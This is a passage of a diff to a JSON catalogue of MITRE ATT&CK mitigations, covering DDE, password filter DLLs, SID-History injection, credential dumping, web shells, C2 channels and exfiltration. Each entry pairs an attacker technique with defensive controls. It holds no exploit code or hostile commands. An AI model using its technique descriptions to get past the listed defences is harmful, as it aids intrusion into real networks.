2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)", "meta": { - "uuid": "9793928c-dc6e-4f6d-b23d-47112503be75" + "external_id": "T1173", + "refs": [ + "https://attack.mitre.org/techniques/T1173", + "https://technet.microsoft.com/library/security/4053440", + "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", + "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b", + "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", + "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction", + "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + ] }, - "value": "Re-opened Applications Mitigation" + "related": [ + { + "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74", + "value": "Dynamic Data Exchange Mitigation - T1173" }, { - "description": "Audit and/or block command-line interpreters by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", "meta": { - "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04" + "external_id": "T1146", + "refs": [ + "https://attack.mitre.org/techniques/T1146", + "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + ] }, - "value": "Command-Line Interface Mitigation" + "related": [ + { + "dest-uuid": "d3046a90-580c-4004-8208-66915bc29830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483", + "value": "Clear Command History Mitigation - T1146" }, { - "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel.[[CiteRef::University of Birmingham C2]]", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", "meta": { - "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52" + "external_id": "T1174", + "refs": [ + "https://attack.mitre.org/techniques/T1174", + "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + ] }, - "value": "Multi-Stage Channels Mitigation" + "related": [ + { + "dest-uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651", + "value": "Password Filter DLL Mitigation - T1174" + }, + { + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "meta": { + "external_id": "T1194", + "refs": [ + "https://attack.mitre.org/techniques/T1194" + ] + }, + "related": [ + { + "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56", + "value": "Spearphishing via Service Mitigation - T1194" + }, + { + "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle", + "meta": { + "external_id": "T1195", + "refs": [ + "https://attack.mitre.org/techniques/T1195", + "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf", + "http://dx.doi.org/10.6028/NIST.IR.7622" + ] + }, + "related": [ + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "value": "Supply Chain Compromise Mitigation - T1195" + }, + { + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "meta": { + "external_id": "T1166", + "refs": [ + "https://attack.mitre.org/techniques/T1166" + ] + }, + "related": [ + { + "dest-uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "value": "Setuid and Setgid Mitigation - T1166" + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", + "meta": { + "external_id": "T1168", + "refs": [ + "https://attack.mitre.org/techniques/T1168" + ] + }, + "related": [ + { + "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e", + "value": "Local Job Scheduling Mitigation - T1168" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)", + "meta": { + "external_id": "T1196", + "refs": [ + "https://attack.mitre.org/techniques/T1196", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx" + ] + }, + "related": [ + { + "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "value": "Control Panel Items Mitigation - T1196" + }, + { + "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "meta": { + "external_id": "T1222", + "refs": [ + "https://attack.mitre.org/techniques/T1222" + ] + }, + "related": [ + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a222db25-cafb-44b1-a64a-20eab050514c", + "value": "File Permissions Modification Mitigation - T1222" + }, + { + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "meta": { + "external_id": "T1223", + "refs": [ + "https://attack.mitre.org/techniques/T1223", + "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913" + ] + }, + "related": [ + { + "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "08e02f67-ea09-4f77-a70b-414963c29fc2", + "value": "Compiled HTML File Mitigation - T1223" + }, + { + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.", + "meta": { + "external_id": "T1171", + "refs": [ + "https://attack.mitre.org/techniques/T1171", + "https://adsecurity.org/?p=3299" + ] + }, + "related": [ + { + "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22", + "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171" + }, + { + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1104", + "refs": [ + "https://attack.mitre.org/techniques/T1104", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52", + "value": "Multi-Stage Channels Mitigation - T1104" + }, + { + "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation of Vulnerability](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "meta": { + "external_id": "T1072", + "refs": [ + "https://attack.mitre.org/techniques/T1072" + ] + }, + "related": [ + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930", + "value": "Third-party Software Mitigation - T1072" }, { "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", "meta": { - "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908" + "external_id": "T1073", + "refs": [ + "https://attack.mitre.org/techniques/T1073" + ] }, - "value": "DLL Side-Loading Mitigation" + "related": [ + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908", + "value": "DLL Side-Loading Mitigation - T1073" }, { - "description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930" + "external_id": "T1059", + "refs": [ + "https://attack.mitre.org/techniques/T1059", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Third-party Software Mitigation" + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04", + "value": "Command-Line Interface Mitigation - T1059" }, { - "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.", + "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", "meta": { - "uuid": "5d9342dd-12f8-40ac-bf74-fb9d67824ae0" + "external_id": "T1164", + "refs": [ + "https://attack.mitre.org/techniques/T1164", + "https://support.apple.com/en-us/HT204005" + ] }, - "value": "LC_LOAD_DYLIB Addition Mitigation" + "related": [ + { + "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "61d02387-351a-453e-a575-160a9abc3e04", + "value": "Re-opened Applications Mitigation - T1164" }, { - "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.", "meta": { - "uuid": "a38901d2-54e8-441b-8e70-e4d8c9e558a6" + "external_id": "T1178", + "refs": [ + "https://attack.mitre.org/techniques/T1178", + "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "https://technet.microsoft.com/library/cc794757.aspx", + "https://technet.microsoft.com/library/cc835085.aspx", + "https://technet.microsoft.com/library/cc755321.aspx", + "https://adsecurity.org/?p=1640" + ] }, - "value": "LC_MAIN Hijacking Mitigation" + "related": [ + { + "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "value": "SID-History Injection Mitigation - T1178" }, { - "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]] that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", "meta": { - "uuid": "b6a8f1a8-34d3-47f8-b562-53ec1ed07019" + "external_id": "T1188", + "refs": [ + "https://attack.mitre.org/techniques/T1188" + ] }, - "value": "Create Account Mitigation" + "related": [ + { + "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7", + "value": "Multi-hop Proxy Mitigation - T1188" }, { - "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [[Technique/T1056|Input Capture]] and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [[Technique/T1110|Brute Force]] techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", "meta": { - "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152" + "external_id": "T1189", + "refs": [ + "https://attack.mitre.org/techniques/T1189", + "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] }, - "value": "Automated Collection Mitigation" + "related": [ + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0", + "value": "Drive-by Compromise Mitigation - T1189" }, { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d" + "external_id": "T1001", + "refs": [ + "https://attack.mitre.org/techniques/T1001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Audio Capture Mitigation" + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "value": "Data Obfuscation Mitigation - T1001" }, { - "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation of Vulnerability](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "meta": { - "uuid": "10571bf2-8073-4edf-a71c-23bad225532e" + "external_id": "T1100", + "refs": [ + "https://attack.mitre.org/techniques/T1100", + "https://www.us-cert.gov/ncas/alerts/TA15-314A" + ] }, - "value": "AppInit DLLs Mitigation" + "related": [ + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "bcc91b8c-f104-4710-964e-1d5409666736", + "value": "Web Shell Mitigation - T1100" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97" + "external_id": "T1020", + "refs": [ + "https://attack.mitre.org/techniques/T1020", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Account Discovery Mitigation" + "related": [ + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294", + "value": "Automated Exfiltration Mitigation - T1020" }, { - "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", "meta": { - "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294" + "external_id": "T1200", + "refs": [ + "https://attack.mitre.org/techniques/T1200", + "https://en.wikipedia.org/wiki/IEEE_802.1X" + ] }, - "value": "Automated Exfiltration Mitigation" + "related": [ + { + "dest-uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "value": "Hardware Additions Mitigation - T1200" }, { - "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[[CiteRef::TechNet RDP NLA]]\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[[CiteRef::TechNet RDP Gateway]]\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", "meta": { - "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8" + "external_id": "T1002", + "refs": [ + "https://attack.mitre.org/techniques/T1002", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Accessibility Features Mitigation" + "related": [ + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "value": "Data Compressed Mitigation - T1002" }, { - "description": "Restrict user's abilities to create Launch Agents with group policy.", + "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith 